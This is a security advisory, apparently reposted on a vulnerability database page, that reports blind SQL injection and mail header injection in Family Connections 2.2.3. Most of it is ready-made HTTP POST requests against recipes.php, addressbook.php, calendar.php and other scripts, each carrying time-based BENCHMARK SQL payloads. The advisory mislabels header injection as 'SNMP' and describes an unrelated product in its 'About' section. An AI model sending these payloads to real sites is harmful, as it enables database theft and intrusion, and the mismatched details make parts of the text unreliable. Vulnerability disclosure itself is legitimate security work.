Lucene search
K

Family Connections 2.2.3 SQL / SNMP Injection

🗓️ 10 May 2010 00:00:00Reported by Salvatore FrestaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Family Connections 2.2.3 Multiple Remote Vulnerabilities - Unsanitised Field

Code
`Family Connections 2.2.3 Multiple Remote Vulnerabilities  
  
Name Family Connections  
Vendor http://www.familycms.com  
Versions Affected 2.2.3  
  
Author Salvatore Fresta aka Drosophila  
Website http://www.salvatorefresta.net  
Contact salvatorefresta [at] gmail [dot] com  
Date 2010-10-05  
  
X. INDEX  
  
I. ABOUT THE APPLICATION  
II. DESCRIPTION  
III. ANALYSIS  
IV. SAMPLE CODE  
V. FIX  
  
  
I. ABOUT THE APPLICATION  
  
Based on one of the world's leading structure and content   
management systems - WebSiteAdmin, WSCreator (WS standing  
for WebSite) is powerful application for handling multiple  
websites.  
  
  
II. DESCRIPTION  
  
Many fields are not properly sanitised.  
  
  
III. ANALYSIS  
  
Summary:  
  
A) Multiple Blind SQL Injection  
B) Multiple SNMP Injection  
  
  
A) Multiple Blind SQL Injection  
  
All numeric fields that I tested are vulnerable to Blind  
SQL Injection.  
These bugs exist because of the use of the unquotes SQL   
fields (numeric fileds only) which are not properly sani-  
tised.  
  
  
B) Multiple SNMP Injection  
  
The parameters passed to the mail() PHP function are not  
properly sanitised. This allows to inject arbitrary SNMP  
headers.  
  
  
IV. SAMPLE CODE  
  
A) Multiple Blind SQL Injection  
  
POST /path/recipes.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 73  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
delconfirm=1&id=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/gallery/upload.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 70  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
category=(SELECT(IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)))  
  
  
POST /path/addressbook.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 74  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
editsubmit=1&aid=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/addressbook.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 74  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
editsubmit=1&uid=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/calendar.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 67  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
edit=1&id=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/calendar.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length:73  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
delconfirm=1&id=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/familynews.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length:73  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
submitedit=1&id=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
POST /path/familynews.php HTTP/1.1  
Host: targethost  
Content-Type: application/x-www-form-urlencoded  
Content-Length:73  
Cookie: PHPSESSID=50e78936f22e0ffb7c5df13011fa2dfd  
  
delconfirm=1&id=-1 OR IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)  
  
  
V. FIX  
  
No Fix.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation